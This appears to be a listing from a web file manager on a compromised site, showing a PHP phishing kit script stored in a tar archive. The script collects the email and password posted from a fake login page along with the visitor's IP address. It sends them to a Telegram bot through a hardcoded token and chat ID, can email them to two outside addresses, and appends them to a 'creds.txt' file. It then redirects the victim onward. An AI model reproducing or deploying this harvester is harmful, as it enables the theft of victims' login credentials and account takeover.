| Current Path : /home/emeraadmin/public_html/4d695/ |
| Current File : /home/emeraadmin/public_html/4d695/i.php.tar |
home/emeraadmin/public_html/pages/i.php 0000644 00000002652 15167673433 0014164 0 ustar 00 <?php
define('save_txt', 1);
define('save_as', 'creds.txt');
define('bot_token', '8099333645:AAGZNwNwR_kuunUdHhj9Ai0VtNoy7vr1SKE');
define('chat_id', '-1002902701497');
define('send_mail', 0);
define('send_tg', 1);
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_POST)) {
$email = $_POST['email'] ?? 'N/A';
$password = $_POST['password'] ?? 'N/A';
$message = "Online ID : $email\r\n";
$message .= "Password : $password\r\n";
$message .= "IP Address : $ip\r\n";
if (send_mail) {
$recipients = array("c.revolver@yandex.com", "logz3r@yahoo.com");
$subject = "Lurd Azeez Inc - Login : $ip";
$headers = "From: notifier@yourdomain.com\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain; charset=UTF-8\r\n";
foreach ($recipients as $to) {
mail($to, $subject, $message, $headers);
}
}
if (send_tg) {
$config = array(
'chat_id' => chat_id,
'text' => $message
);
$url = 'https://api.telegram.org/bot' . bot_token . '/sendMessage?' . http_build_query($config);
file_get_contents($url);
}
if (save_txt) {
file_put_contents(save_as, $message . PHP_EOL, FILE_APPEND);
}
// Redirect to the next page with email in the URL
$redirect_url = '/rdr8.html';
header("Location: $redirect_url?email=" . urlencode($email));
exit();
}
?>